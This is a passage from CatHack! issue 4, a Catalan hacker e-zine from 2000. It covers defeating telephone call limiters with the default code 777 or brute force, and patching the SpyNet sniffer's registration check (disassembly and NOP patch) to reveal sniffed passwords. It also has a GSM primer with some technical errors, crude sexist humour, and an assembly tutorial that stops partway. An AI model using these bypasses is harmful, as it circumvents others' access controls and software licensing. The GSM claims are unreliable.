Copy Link
Add to Bookmark
Report
CatHack Issue 4
ddoo .odBb. b Bb b .odBb. ddoo 'Bb d
dB' dB' 'Bb ooBbo BB Bb dB' 'Bb dB' BB .d dB B
BB oodBB dB BBBbBB oodBB BB BBkC dBBBBBb
BBb d dB Bb BB Bb d dB BBb BB''b 'B
'dBBb 'ood'b 'do dB P' 'ood'b 'dBBb BB 'b B
______________________________________________________________________________
------------------------------------------------------------------------------
[ CatHack! 4 ]
[ març del 2000 ]
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
cathack.itgo.com | welcome.to/cathack | members.es.tripod.de/cathack
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
.--------------------------------------------------------------------------.
| Membres: |
| > PGB < pecuy@ilimit.com > BaRner < barner@iname.com > |
| QUiCKSHOT < 12389csb@comb.es > Pop.tPH < poptph@hotmail.com > |
| LopeHack <st05764@salleURL.edu> Brainstorm <brainstorm@redestb.es> |
| KL4RK < kl4rk@nettaxi.com > Kuduk < kuduk@lettera.net > |
| d0Nner < donner@isuisse.com > Asac-Cat < txetxe@softhome.net > |
| Acastan < acastan@pie.xtec.es > [hansi] < msvmsv@ctv.es > |
`--------------------------------------------------------------------------'
##########################################################################
# IMPORTANT #
# --------- #
# Cap membre del grup es responsabilitza dels danys que es puguin fer #
# amb la possada en practica de la informació aqui continguda. #
# #
##########################################################################
En una ip de la red...
...de cuya dns no quiero acordarme.
Don Quijote de la Xarxa.
_______
_/ INDEX \_________________________________________________________________
| |
| Títol Tema Autor Id. |
|---------------------------------------------------------------------------|
| Editorial opinió cathack* $01$ |
| LTD v1.0 (Limitadors Telefònics) phreak Pop.tPH $02$ |
| CRACKING SpyNet cracking KL4RK $03$ |
| GSM phreak BaRner $04$ |
| Humor opinió cathack* $05$ |
| popASM v2.0 programació Pop.tPH $06$ |
| Collint Informació 2 hack BaRner $07$ |
| Hacking NT4 amb accés físic hack Acastan $08$ |
| Rutines d'encriptació virii Pop.tPH $09$ |
| DoS #1 hack PGB $0A$ |
| Noticies opinió BaRner $0B$ |
| CFI (Codigs fonts interessants)** hpcv cathack* $0C$ |
| Acomiadament opinió cathack* $0D$ |
| |
| * L'autor 'cathack' simbolitza tot el grup * |
| ** Fitxers adjunts. |
|___________________________________________________________________________|
L'existència és pura utopía
M.V.A.P.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//////////////////////////////////////////////////////////////////////////////
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
$01$
EDITORIAL:
Si, seguim en marxa malgrat alguns problemes morals (el lammer-fatxa del
fr33dom,jr o h0h0 -es que es canvia el nick constantment) no sap fer res més
que colar-se als canals privats del grup per trencar-nos les converses,
insultar-nos, fer-nos fora i crear problemes interns (no donaré noms).
Doncs deixant problemes de banda, ja podeu disfrutar de la cathack!4, esperem
que us agradi, i que sobretot hi col·laboreu, si teniu dubtes, suggerències,
idees o ganes de perdre el temps podeu enviar-nos un mail (a qualsevol del
grup) i intentarem respondre lo més ràpidament possible.
Hem obert un nou domini a webjump, amb el nom de: www.cathack.net, poc a poc
l'anirem omplint (si tenim temps i tal :P) - Per cert, hem rebut algunes
noticies importants i curioses, com la d'una xerrada de hacking organitzada
pels kolectius de SinDominio i FronteresElectròniques en un centre social
okupat de bcn. No ens ho perdrem !
PD: Podem fer un algorisme que faci truites de patates.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//////////////////////////////////////////////////////////////////////////////
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
$02$
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%
%% Limitadors Telefònics %% Pop.tPH == pancake %%
%% (LTD-1) %% %%
%% %% membre de CatHack! %%
%% per Pop.tPH %% %%
%% %% %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
,,,,,,,,,,,,
INTRODUCCIÓ:
""""""""""""
Fa poc em van arribar a les mans dos LTD (limitadors de telèfon), i abans
d'instal·lar-los vaig pensar... els probaré a casa i miraré haviam que tal va,
bé segur que algú s'haura perdut per aqui, us fare un petit esquema, un LTD,
es una roseta (la tipica que es fica a la paret, que es de color groc-blanc
fastigos semblant a la barreja de les natilles caducades amb aigua...ecs! :)
amb una entrada RJ45 femella per ficar el telèfon) però amb un circuit
integrat darrera ben posat i comprimidet. Aquest circuit té una prom, que és
programa a traves dels tons del telèfon, per permetre o prohibir uns números
de telèfon o limitar el temps per parlar.
Aquests aparells s'acostumen a instal.lar en escoles, feines i fins hi tot a
cases per evitar llençols (factures telefòniques) massa llargs. I evitar per
exemple, en les feines, que la gent truqui a casa seva durant la jornada
laboral, aixi que NO em faig responsable de qualsevol malifeta que pogueu fer
amb la informació continguda en aquest article, i com diuen en molts llocs:
AIXÒ ES SIMPLEMENT INFORMATIU.
,,,,,,,,,,,,,
INSTAL·LACIÓ:
"""""""""""""
Passem a l'instal·lació, l'LTD per darrera té aquesta forma:
.----------------------. En els nombres indica que hi ha una regleta, i cada
| | numero indica un forat on poder ficar-hi un fil de
| __ | la linea telefònica. De la seguent forma:
| | | |
| |____| | 1 i 3 -> Entrada Linea 1
| |
| | 4 i 6 -> Sortida Linea 1 (opcional)
| 1 2 3 4 5 6 |
| .o.o.o.o.o.o. | 2 i 5 -> Massa (opcional)
| |____|___|____| |
`----------------------'
Si volem juntar aquesta roseta amb d'altres rosetes `normals' seguiriem la
linea desde els pins 4-6 aixi:
[line in]---------------1 4------------[line out]
[line in]---------------3 6------------[line out]
En canvi si volem seguir una linea, pero que no tingui les restriccions de
l'LTD fariem:
.-------------------------.
[line in]--------'------1 [ telèfon ] `---[line out] - [ telèfon no ]
[line in]--------.------3 [ restringit ] .---[line out] - [ restringit ]
`-------------------------'
Un cop fet aixo, hauriem d'empotrar la roseta a la paret (com estava l'altre)
, per dissimular una mica :) i enxufar el telèfon a la roseta RJ45.
NOTA: Si voleu saber si es o no un LTD podeu mirar a la part frontal de la
roseta i veure el dibuix que té, el de l'LTD q tinc jo té un telèfon dibuixat,
i en canvi la roseta normal de Teleafonica de la típica (T) feta a pilotetes.
,,,,,,,,,,,,,
CONFIGURACIÓ:
"""""""""""""
Molt bé, ara ja el tenim muntat i tot llest per configurar-lo (o potser el
nostre objectiu es desconfigurar-lo?) be, feu el que feu haureu de passar
pels diversos menús i tal.
1) Si despenjeu i sentiu uns bips vol dir que el ltd esta activat, si no es
que no esta activat (entiendase desactivado) ;)
2) Per activar-lo o desactivar-lo haurem de fer els seguents passos:
- Despenjar i esperar a que sonin els bips (o no =)
- Marcar el codi secret (3 digits)
- Esperar els bips de resposta
- Penjar
Si resulta que el tenim activat i el que volem es desactivarlo, però no sabem,
o hem oblidat el codi només hi ha una forma de buscar-lo (-=BruteForce=-) que
es questió de despenjar, probar codi (si dona bips vol dir q has acertat el
codi, si no es que no i llavors hauras de penjar i despenjar i tornar a probar
el codi). Tambe, si sabeu programar podeu fer un programeta que faci aixo:
> despenja
> truca 000 fins a 999
> espera bips de resposta
> penja
> si no hi ha bips de resposta torna al primer pas.
> si hi ha bips de resposta mostra per pantalla el codi.
Pero, passem a l'acció, configurem-lo al nostre gust! Per aixo haurem de
seguir els seguents pasos: Primer haurem d'establir conexió amb un receptor o
'tancar el circuit telefònic' (que es el mateix), un cop fet això, al cap de
10 segons l'LTD ens fara sonar uns bips indicant que esta en espera de la
nova configuració. Per poder configurar-lo haurem de tenir un telèfon modular,
si no el teniu (segur q si) assegureu-vos (i mireu al costat i a sota en
busca d'un switch que canvia de MF a DEC (multifrequencia / impulsos) i el
deixeu en MF, si no, tp us fare comprar un telèfon nou, tb podeu fer-ho amb
el modem o amb un generador de tons (en regalen un en molts contestadors
automatics).
Comencem la configuració:
Quan l'ltd ens doni els bips d'"espera" haurem de possar el codi 'secret', que
per defecte (de fàbrica) venen configurats amb el codi 777. aixi que primer
probem amb aquest, si l'encertem ens fara uns tons d'assentiment. Si no, no
podrem configurar-lo. Llavors premer els codis seguents depenent de la funcio
que volguem donar-li a l'ltd. (despres d'acabar de possar els codis, haurem de
penjar i activar-lo, ja que activat no es pot configurar).
22 -> No es podrà realitzar cap trucada
23 -> Només es podran trucar a serveis (XXX) (3 digits)
27 -> Només podrem trucar dins de la provincia que li possem (93 pexemple)
i a serveis (0XX) (3 xifres), o sigui fariem: 27 93 (i penjar).
29 -> Treure les limitacions de trucada (semi-reset)
3X -> Limitacions de temps, amb aquest codi, podrem limitar els temps en que
pugui parlar a X minuts (de 1 a 9) i 0 per temps ilimitat.
12 -> Permetre trucar als telèfons que configurem (nomes aquests), per confi-
gurar-ho aixi haurem de fer: 12 i despres el numero de memòria (que va
desde 40 fins a 59 i seguit d'aquest codi el numero de telèfon que
permetem que es pugui trucar i per finalitzar premer * (asterisc).
exemple: 777 12 40 93xxxxxx * (esperar bips d'assentiment i penjar)
L'LTD va comparant els nombres i si algun de la serie es diferent talla
la trucada i torna a donar linea.
11 -> Telèfons o prefixos prohibits: El mateix d'abans pero canviant el codi
12 per l'11, les memòries segueixen sent les mateixes d'abans(40 a 59),
(ja que no es poden configurar les dues configuracions a l'hora(11 i 12)
per evitar problemes i confusions de càlculs.)
exemple: 777 11 40 91 * (prohibir trucar a madrid)
Alguns exemples pràctics:
Volem configurar l'LTD perque nomes es pugui parlar 3 minuts i nomes es puguin
trucar a telèfons de barna:
Acces (podeu possar qualsevol telf): 087
Password (de fabrica 777): 777
Temps maxim permés (3minuts): 33
Prohibir trucar fora de bcn: 12 40 93 *
Llavors nomes haurem d'esperar la resposta de l'LTD i penjar, llavors si al
despenjar fa bipbip vol dir que esta activar si no haurem de penjar i quan
despenjem marcar el codi secret (777 de fabrica) i penjar. I si despres el
volem desactivar haurem de fer el mateix. O sia:
despenjar (si fa bip), marcar 777 > DESACTIVAT
despenjar (si no fa bip), marcar 777 > ACTIVAT
CANVI DEL CODI:
"""""""""""""""
Segur que si volem possar-li una mica de seguretat en el nostre LTD no deixa-
rem el codi 777 de defecte sino que el canviarem per algun mes dificil de
desxifrar (666 per exemple xD), per fer això haurem de fer lo tipic per
aconseguir entrar en el "menu":
1) establir conexió
2) esperar resposta de l'LTD
3) marcar el nostre codi (777 per defecte)
Un cop aqui, l'LTD espera les nostres ordres, per canviar el codi d'accés,
haurem de premer: 0 i després els 3 digits del codi.
Per exemple:
087 -> establir conexió telefonica
777 -> codi inicial (de fàbrica)
0 -> canviar el codi d'accés
XXX -> els tres digits del nou "password"
si tinguessim 777 i volguessim passar a 123 per exemple fariem:
(087 /acces/) 777 0 123 (bip (resposta de l'LTD, /penjar/)
NOTES:
""""""
Aqui poso alguns dubtes i informació no classificada, ja que no vaig tindre
temps de poder probar gaire temps l'LTD :(
> Per molt que treguis la tensió de la roseta, la configuració perdura en
memòria, ja que és una PROM i no una RAM.
> Per establir una conexió per poder configurar-lo us recomano que utilitzeu
telèfons gratuits, com 900s o el 087. Més que res per evitar pagar per TOT
a la nostra estimada (T).
> En molts casos parlo de codi 777 (vol dir el codi d'accés que vé predetermi-
nat de fàbrica en tots els LTDs)
> Dins de la roseta LTD hi ha un petit led que s'il·lumina quan rep/emet tons
o quan penjem o despenjem. Basicament no serveix per a res, pero em feia
gràcia dir-ho. :-)
> Es recomenable apuntar-se en un paper tots els pasos que volguem seguir
per evitar errors i problemes, pq si la caguem, la caguem i ens fotem.
> Per molt que digui mes a dalt que només es pot configurar per tons, es
mentida, encara que es mes ràpid, tb el podeu configurar per impulsos, però
serà més lent, si us fixeu en el led de l'LTD (a l'interior de la roseta),
quan marqueu un nombre amb el telèfon per impulsos, sentireu per l'auricular
els clec clec clec que fan els impulsos, (cada impuls d'aquests es grabat en
un registre de l'LTD i quan deixa de contar els impulsos (espai entre nombre
i nombre) reconta els 'pics' dels impulsos presentant-los en el led, o sigui
que per molt que digui en les instruccions que només es pot fer per tons es
mentida...tb diuen que s'ha de trucar el 095. xD
> Es pot configurar remotament? Això us ho preguntareu tots, doncs certament,
vaig estar fent unes proves i es veu que no, però m'extranya, a més, per
configurar-lo ha d'estar desactivat ja que sino no podeu entrar al "menu", a
més vaig probar de que marques els tons l'altre (ho va fer amb impulsos :( i
l'ltd no els contava, a més lo fort era q després jo tp no podia marcar els
meus tons per configurar-lo (bé, si que podia però no em feia cas. Potser si
que es pot configurar remotament, pero jo no ho he aconseguit a més els he
de tornar aquesta tarda :((( i no tinc temps per provar-lo més.
> Trucades mixtes: NO FUNCIONEN! pero si us interesa consisteix en trucar
mitat tons mitat impulsos, pero les centraletes no fan cas, quan senten un
to esperen un seguit de tons a continuació i no fan cas als impulsos i
viceversa.
> Per acabar us deixo amb una pregunta...les cabines no en tenen un tb?
Resposta: 9R900xx?
> Siau!
En fin veo el paisaje pero por
mucho que miro no veo crecer
paises por ninguna parte!
-La Polla Records
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
//////////////////////////////////////////////////////////////////////////////
))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
$03$
<------------------------>
|CRACKING SpyNet by KL4RK|
<------------------------>
***
Aquest crack està explicat per simplement millorar els coneixements
d'assembler i mostrar com funciona una rutina molt simple de protecció.
Si creus que aquest software és bo, registra't legalment com a propietari
i hi sortireu guanyant tu i el programador, que ha fet un gran esforç per
produir aquest programa. Si no, defes-te del software.
NO ENCORATJO NINGÚ A UTILITZAR VERSIONS CRACKEJADES DE PROGRAMES.
COMPRENGUEU QUE AQUEST TEXT NOMÉS VOL TRANSMETRE UNS CONEIXEMENTS
QUE APLICATS PODEN DUR A LA IL·LEGALITAT. El que feu amb el
coneixement es EL VOSTRE PROBLEMA!
***
-Programa: SpyNet 2.04 (CaptureNet + PeepNet)
-Tipus de protecció: Demana un serial que depèn de l'username i company.
Ara bé, és un pel cutre.
-Tipus de Crack: Patch. Destrueix la rutina de comprovació inicial del
programa que mira si anteriorment ha estat registrat o no.
-Eines necessàries:
un disassembler (W32Dasm89, feu un ftp-search W32DASM98.ZIP)
Editor HEX (HIEW, Hacker's vIEW: busqueu una versió decent, la
meva és la 6.01 i va PERFECTE!)
-DIFICULTAT DEL CRACK: MOOOOOLT FÀCIL. En dos minuts.
------------
Introducció.
------------
Després d'estar buscant algun sniffer per win que valgués la pena, em vaig
baixar un que semblava valer la pena. Més que un sniffer per instal.lar en
una màquina remota, és una eina d'administració de xarxes locals.
El programa està prou bé (sempre pensant en hackejar/administrar una xarxa
local) i sense ésser registrat funciona tot excepte una cosa q ralla
bastant: no presenta les passwords "esnifades". Brrrr! Aleshores perd la
seva gràcia [sobretot si els nostres propòsits son "poc legals" :) ].
---------
Approach!
---------
El programa té dos executables, el peepnet.exe i el capturenet.exe. El primer,
per on començarem, serveix per interpretar allò que ha estat "esnifat", és
a dir permet seguir les sessions i monitoritzar-les.
Utilitzant el disassembler, obrim el peepnet.exe. Ens trobem davant un programa
que no té gaire codi (força ràpid de desassemblar). Observem què hi podem fer
que serveixi pels nostres vils proposits.
Doncs, davant l'agradable sorpresa nostra, ens adonem que està ple de "String
References" que gairebé ens assenyalen la rutina de protecció. Bé. A veure què
podem fer...
Mirem-nos, doncs, els String References. Hi ha una línia que diu " You shold restart
the program" que és el que el programa ens diu quan el mirem de retgistrar. Molt bé,
ara ja sabem on ens trobem quan introduim un codi. Però analitzant el troç de codi
on ens trobem, sorgeix un problema.
Com que en sé tant de cracking "i tal", doncs què passa? Que no pillo res.
No entenc el codi ^_^ . Si algú ho pilla pleez mailto: KL4RK@clerk.com, estaré
molt agraït.
I ara què? doncs tranquils, no ens desanimem! Continuem buscant... a veure q
passa... Continuem mirant-nos els String References. N'hi ha uns que em criden
l'atenció: "DEMO VERSION", "user", "company", i d'altres. A veure a on anem a
parar...
* Reference To: MFC42.MFC42:NoName0494, Ord:0320h
|
:0040B841 E8422A0000 Call 0040E288
:0040B846 84DB test bl, bl
:0040B848 7416 je 0040B860
:0040B84A 8BCE mov ecx, esi
:0040B84C C70584A5410001000000 mov dword ptr [0041A584], 00000001
:0040B856 E8D50B0000 call 0040C430
:0040B85B E93B010000 jmp 0040B99B
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040B848(C)
|
:0040B860 893D84A54100 mov dword ptr [0041A584], edi
* Reference To: MFC42.MFC42:NoName0163, Ord:0490h
|
:0040B866 E8852E0000 Call 0040E6F0
:0040B86B 8B4004 mov eax, dword ptr [eax+04]
* Possible StringData Ref from Data Obj ->"DEMO VERSION"
|
:0040B86E 6888A04100 push 0041A088
* Possible StringData Ref from Data Obj ->"Nume"
|
:0040B873 6880A04100 push 0041A080
* Possible StringData Ref from Data Obj ->"User"
|
:0040B878 6878A04100 push 0041A078
:0040B87D 8BC8 mov ecx, eax
(...)
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040B7E3(U), :0040B85B(U), :0040B967(C), :0040B981(U)
|
:0040B99B 8BCE mov ecx, esi
Si ens ho mirem, gairebé a primera vista podem intuir que (0040B848) je 0040B860
salta al troç on dona per fet q la versió és una demo, i que si el salt no es
produeix, el posterior (0040B85B) jmp 0040B99B ens envia cap un lloc on ja
no apareix res més de demos, ni users ni històries lletges.
---------
El Crack!
---------
Se m'acudeix provar de destriur el condicional de (0040B848) je 0040B860 amb el
debugger del w32dasm, però aquest no és capaç de fer correr el programa (que si
exceptions i no se què més) o sigui que faig un backup de l'executable i aplico
el patch amb el Hiew.
Canvio a .0040B848 7416 je 0040B860 per dos NoPs (9090 enlloc de 7416).
I a veure què passa!
Executem el programa, i què succeeix? Doncs, eureka, les passwords esnifades són
mostrades, i al menú la opció "Register" queda desactivada. Eurekaaaaa!!!!
Ara bé, la cosa lletja es que apareix el programa registrat a nom de "DEMO VERSION".
Però què hi farem? Amb un crack tan cutre com aquest, què més podem demanar?
---------
Conclusió
---------
Ja hem crackejat el PepNet. Ara ens quedaria el CaptureNet, però si voleu que us
digui la veritat, no he trobat cap limitació del software en la demo version, o
sigui que ho deixo estar.
Res més per avui. Q tingueu sort.
Salut i bon CrackinG!
----->>KL4RK<<-----
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
$04$
==============================================================================
II GSM II
II ·. by BaRner .· II
II=================II
M'he decidit a escriure aquest text explicant una mica sobre que son les
sigles GSM perque molta gent avui en dia no sap el que significa. La gent
sap que és un telèfon movil però gran part d'aquesta si li parlem de GSM
probablement li sonara xino. Per això m'he decidit a escriure aquest text
explicant de una forma breu i clara la història i una mica el funcionament.
Una mica d'historia del GSM
============================
Al 1982 la Conferencia d'Administracions de Correus i Telecomunicacions (CEPT)
va formar una comisió d'estudi anomenada Group Special Mobil. Que son el que
seria ara les sigles GSM. La CEPT va decidir de reservar unes subbandes de
frequencies proximes a 900 Mhz per aquests sistemes.
Al 1990 es van crear les primeres especificacions sobre GSM i van ser publi-
cades per ETSI (European Telecomunication Standard Institute). L'aplicació
d'aquestes especificains es van donar l'any 91 on es va extendre moltissim
fins a tal punt que al 1994 ja estava present a 60 paisos europeus i es preveia
una expensio encara mes gran.
Les sigles GSM van canviar el seu significat i van passar a ser Global System
for Mobile Comunication. Es a dir, sistema Global per la Comunicacio Movil.
INTRODUCCIÓ
===========
Des de ja fa molt de temps les ones radioelètriques son l'únic medi eficaç
per establir comunicacions entre dos punts movils. I ho seguirà sent durant
molt de temps ja que tenen la propietat de salvar obstacles.
Però tenen un petit inconvenient ja que la utilitzacio de les ones de radio
és limitada. Cosa que fa que hagi d'haver una reglamentació molt estricte que
permeti la optimitació de l'assignació de freqüències.
Als anys 60 amb la rapida difusio de les cadenes de radio, televisió, l'us
mes frequent de microones, etc. va causar una gran preocupació per l'espectre
i d'aquesta manera la telefonia movil es va veure obligada a evolucionar cap
a sistemes que aprofitessin mes l'espectre
Per això mateix es va crear el trunking. Que consistia en que el canal utilit-
zat es manté nomes el moment en que s'està conversant i d'aquesta manera queda
lliure quan l'utilitza un altre usuari.
Els objectius del estandar GSM son:
-Millor qualitat de la veu transmesa
-Baix cost tant del terminal com del servei
-Suport de desplaçament internacional (roaming)
-flexibilitat en les ampliacions de serveis
-Compatibilitat RDSI
El sistema GSM permet oferir a l'usuari una telefonia, transmisió de dades fins
a 9.600 bps, conexió a sistemes de correu electrònic (X-400) i enviament de
missatges curts. També a part d'això suporta altres prestacions com son
desviament de trucada, restricció de trucades entrants, etc.
Un dels aspectes mes importants del GSM es la seva naturaleza digital. La veu
humana és transformada mitjançant un concertidor AD (Analogic Digital) i
transmesa per modem-radio a la estacio mitjançant una cadena digital codificada
Seguretat
=========
La seguretat es un aspecte a tenir molt en compte per la gent i sobretot
per les empreses que utilitza la telefonia movil.
Son segures les comunicacions dels movils??
Aquesta es una pregunta que es fa molta gent. Doncs be! jo intentare
respondra-la perque aixi quedi una mes clar.
Amb els analogics, qualsevol persona amb un petit escanner de radio podia
escoltar les nostres converses telefoniques. En canvi amb GSM aixo es molt
mes dificil i es necessiten costosos aparells conectats al ordinador per
descodificar a informacio.
Perque amb GSM al ser digital la informacio va codificada i comprimida.
Aquesta informacio ademes pot estar encriptada mitjançant un algoritme
anomenat A8. Ademés, el fet que s'utilitzi la tarjeta d'usuari per la autenti-
ficació de la trucada fa que hi hagi mes seguretat i d'aquesta manera la confi-
dencialitat és total.
En la telefonia movil s'utilitzen la banda de freqüències de 900 Mhz amb el
mètode TDMA (Accés per multiplexació en el temps) que proporciona vuit canals
telèfonics en una mateixa portadora i una codificació de la veu a 13Kps.
Bueno, doncs per avui ja n'hi ha prou....
Ens veiem en el pròxim text on us explicaré mes coses.
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
$05$
_____
[ ]
[ Humor ]
[_____]
Tornem a ser aqui, amb la secció d'humor, farem una recol·lecció d'articles
i textes que ens han arribat desde mail o que hem escrit perquè us ho passeu
bé i us deixeu de tants binaris i textes tècnics per passar un bon rato.
>> en que se semblen un mobil a un pelat i un condó a una polla?
>> en que els dos donen cobertura a un capullo. xDD
>> El windows no el penjen els nukes...es penja ell com a mitjà de seguretat
Aixo de sota...bé, sense comentaris, ho vaig trobar a la Biblia i no és
conya, no sé si posar-me a riure, plorar o dedicar-me a cremar esglèsies per
seguir aquestes idees tant feixistes. La qüestió es k surt a la Biblia i
està escrit per Siràcida (per si no us ho creieu i ho voleu mirar).
AVÍS: MOLT FORT!
- Transportar sorra, sal, o barres de ferro és més fàcil que suportar un home
sense seny.
- Els desordres sexuals (títol)
- Més m'estimaria viure amb un lleó que amb una dona dolenta
- La dolenteria d'una dona li deforma l'aspecte i li enfosqueix la cara com
un ós.
- Fes treballar al teu esclau i estaràs tranquil, però si li deixes fer el
que vulgui, buscarà la llibertat.
- Per l'esclau dolent calen bastons i càstigs
- Si no t'obeeix engrillona-li els peus
- Exterminador: és l'angel encarregat d'executar els càstigs divins.
- Els fills dels pecadors es tornaràn detestables.
- Si us multipliqueu tot serà per la ruina si naixeu tindreu una vida maleïda
i quan moriu tindreu la sort dels malaïts.
- Els ases salvatges són la casa dels lleons en el desert, aixi els pobres
són la presa dels rics.
- Amb la vellesa sembla que tot s'envà, però Déu vé.
- La desgràcia de tenir una dolenta.
- Es indignant que una dona es dongui a la beguda.
- La gràcia d'una dona es l'alegria del marit.
- Una dona callada és un do del senyor.
- Un home que abandona la justicia per fer mal, a aquest el senyor ja li té
a punt de la mort!.
- Si tires una pedra enlaire et pot caure al cap- i?
- Qui estima al seu fill no li estalvia els cops de fuet - !!
- No riguis amb ell per no haver de sofrir per les seves faltes i acabarà
mossegan-te els punys.
- No li donis llibertat mentre és jove.
- No allarguis la mà al menjar.
- Que un altre ha mirat no fos cas que topéssiu els dos al agafar-lo.
- L'estupidesa no té remei.
- La vida d'un estúpid és pitjor que la mort.
- Val més un home dolent que una dona complaent.
- Una llengua afable afavoreix les bones relacions - ein?
- Quina vida més dura quan no hi ha vi!
- Si ets vell pren la taula, perquè aixo t'escau, però fes-ho amb
discreció sense destorbar la música.
ja n'hi ha prou!
--
Anaven tres enginyers, un quimic, un electric i un informatic, en un cotxe per
un caminet, quan de sobte el motor del cotxe comena a fer un soroll estrany.
El cotxe s'atura i no vol continuar. Tots tres pensen com solucionar el
problema. En aixo que el quimic diu:
- El motor fa una olor estranya. Jo crec que deu ser un problema de la
combustio.
Revisen el motor i el diposit de benzina i no troben res d'anormal. El
electric li respon:
- Aixo fa tota la pinta d'un mal contacte. Deuen ser les bugies o un cable
pelat.
Revisen tots els contactes pero el cotxe continua sense arrencar. Per ultim a
l'informatic se l'hi acut:
- I si mirem de sortir del cotxe i tornar a entrar ?
------
Qui creu encara que s'ha de possar l'altre galta?
-Opció K95
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
$06$
-----------------------------------------------.
ASM v2.0 per Pop.tPH |
-----------------------------------------------'
Doncs aqui estic de nou, amb la segona entrega del curset d'ensamblador,
espero i suposo que durara bastant, ja que l'ensamblador es un llenguatge
molt complex i dificil d'aprendre.
Doncs be, començare parlant sobre un tema, Marburg, un virus que utilitza
les llibreries de windows (API) per ampliar les seves habilitats, esta
integrament escrit en ensamblador i treballa sobre l'estructura de 32 bits.
-nomes era un petit incis, em venia de gust dir-ho-
Doncs be, si AH,AL son de 8 bits i AX es de 16, estem parlant d'uns registres
nous, poc utilitzats, de 32 bits. Aquests registres son EAX, EBX, ECX, ...
igual que abans pero amb una E davant. Aquests registres son anomenats:
"Extended doubleword" i nomes es poden utilitzar en processador 386+ ja que
els anteriors nomes tenen registres de 8 i 16 bits.
Oi!, per cert, en el primer article vaig parlar sobre la pila, un magatzem que
podiem anar i treient dades. Doncs be, em vaig oblidar de dir-vos com fer-ho,
perdo :P, aquestes accions les podem fer amb dues odres, POP i PUSH (pop tenia
que ser :) doncs be, la primera es per extreure les dades i la segona es per
possarles. O sigui:
El primer sera l'ultim i viceversa:
PUSH AX ; fiquem ax a la pila
PUSH BX ; fiquem bx a la pila
POP AX ; treiem bx de la pila (l'ultim en haverse ficat) i el grabem a ax.
POP BX ; treiem ax de la pila (el segon ultim en ficarse) i el grabem a bx.
NOTA: Amb aquest programa si el compilem intercanviariem els registres AX i BX
...utilitat, cap, pero va be per començar a aprendre.
I ara fotre una mica de canya, aixi que prepareu-vos per una sobredosis
d'ordres. Us possaré unes quantes ordres noves, que seran importants a
l'hora de programar. I a sobre m'he matat a ordenarles alfabeticament.
Per cert, des d'aqui saludo i felicito a GriYo, per la seva wib i els virus.
ADC dest,src - Add with Carry:
Suma 2 xifres de forma binaria.
CALL CS:IP
Crida a una direccio (com un jmp pero deixant fixe l'apuntador.)
es pot tornar d'una call amb la ordre RET. (es com GOSUB)
CALL subrutina
Crida a una subrutina (com pot ser: show_regs_and_wait o set_blue)
d'aixo ja parlare mes endavant ja que es molt important.
Es retorna amb RET (es com un GOSUB)
CBW - Byte to Word
Canvia un registre de 8 bits (byte) a un de 16 bits (word).
Modifica els registres AX=AH+AL
CMP - Compara dos bytes. Podem utilitzarlo de la forma seguent:
CMPS (compara string) CMPW (compara word) CMPB (compara byte)
sempre ho compara amb AX, EAX, AH
CWDE - Converteix el registre de 16 bits AX a un de 32 bits EAX
Es necessita 386+
EQU - Serveix per marcar variables 'nostres' dins del programa, per exemple:
VARIABLE EQU 10h
HLT - Bloqueja l'ordinador fins que la flag de reset es activada.
IN acum,port - Escriu en el registre AX es que entri pel port, DX pot ser
utilitzar com a apuntador dels primers 255 ports.
OUT port,acum - Aquei canvio una mica l'ordre per possar aquestes dues ordres
juntes, aqui fariem justament el contrari, escriuriem el registre
AL, AH, AX, EAX al port que volguem.
INTO - Interrupt on overflow, interrumpeix el programa i torna al shell quan
la 'overflow flag (OF)' esta activada.
INVD - Invalida la memoria cache, nomes es pot fer en 486+
LEA - Load effective address: Serveix per canviar l'estil de presentacio
dels registres: per exemple: lea ax, ax_byte // call set_reg_style
